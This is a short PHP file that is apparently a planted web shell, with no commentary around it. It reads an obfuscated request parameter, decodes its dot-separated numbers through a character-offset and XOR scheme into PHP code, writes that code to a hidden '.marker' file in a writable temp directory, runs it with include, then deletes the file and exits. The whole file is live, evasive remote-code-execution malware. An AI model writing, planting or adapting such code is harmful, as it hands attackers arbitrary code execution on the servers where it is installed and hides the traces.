<?php

if(isset($_REQUEST["b\x69\x6Ed"])){
	$tkn = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd()]);
	$obj = $_REQUEST["b\x69\x6Ed"];
		  $obj =  explode   ( 		"." ,$obj )	 ;
	$token = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $w = 0;
    
            foreach ($obj as $v9) {
                $chS = ord($s[$w% $sLen]);
                $d = ((int)$v9 - $chS - ($w% 10))^	 43;
                $token		.=chr($d);
                $w++;}	
	$descriptor = 0;
do {
    $ptr = $tkn[$descriptor] ?? null;
    if ($descriptor >= count($tkn)) break;
    		if (max(0, is_dir($ptr) * is_writable($ptr))) {
    $value = "$ptr" . "/.marker";
    if (file_put_contents($value, $token)) {
	include $value;
	@unlink($value);
	die();
}
}
    $descriptor++;
} while (true);
}